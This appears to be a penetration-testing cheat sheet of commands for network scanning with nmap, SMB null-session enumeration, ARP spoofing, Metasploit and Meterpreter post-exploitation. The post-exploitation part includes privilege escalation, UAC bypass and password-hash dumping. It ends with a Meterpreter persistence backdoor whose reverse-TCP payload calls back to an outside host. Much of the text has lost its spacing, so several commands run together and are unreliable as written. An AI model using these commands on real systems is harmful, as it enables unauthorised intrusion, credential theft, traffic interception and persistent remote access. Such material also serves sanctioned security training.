fping -a -g 10.10.10.0/24 2>/dev/null
nmap -sn 10.10.10.0/24
Nmap
# OS Detection, no pingnmap-Pn-O10.10.10.10# def scripts, version checknmap-sC-sV10.10.10.10# above + All portsnmap-sC-sV-p-10.10.10.10# UDP version checknmap-sU-sV10.10.10.10
SMB/SAMBA
nbtscan
nbtscan -A 10.10.10.10
net view
net view 10.10.10.10
net use
# c$ - shares in c drive# admin$ - windows install directory# ipc$ - inter process use (not viewable on browser)# using no user/pass loginnet use \\10.10.10.10\IPC$ ''/u:''# The command completed successfully.net use \\10.10.10.10\ADMIN$ ''/u:# System error 5 has occurred.# Access is denied.
# tells my machine to forward packets incepted to the real desination hostsecho1>/proc/sys/net/ipv4/ip_forward# arpspoof -i <interface> -t <target> -r <host>arpspoof-itap0-t10.10.10.10-r10.10.10.11
Metasploit
searchxusexinfoshowoptionsshowadvanced
Meterpreter
backgroundsessions-lsessions-i1sysinfoifconfigroute# get which user is running processgetuid# privilege escalation ('User Account Control' GPO policy may prevent this)getsystem# bypass the restriction of 'User Account Control' GPO policy to privescbypassuac# transfering filesdownloadx/root/uploadxC:\\Windows# run standard operating system shellshellusepost/windows/gather/hashdump
Meterpreter - persistence backdoor
# persistent backdoor - need meterpreter sessionmsf>useexploit/windows/local/s4u_persistencemsf (s4u_persistence) > set session 2#session => 2msf (s4u_persistence) > set trigger logon#trigger => logonmsf (s4u_persistence) > set payload windows/meterpreter/reverse_tcpmsf (s4u_persistence) > set lhost 1.2.3.4msf (s4u_persistence) > set lport 1234msf (s4u_persistence) > exploitmsf (s4u_persistence) > use exploit/multi/handlermsf (handler) > set payload windows/meterpreter/reverse_tcpmsf (handler) > exploit# once victim restarts and logons, we will get a meterpreter shell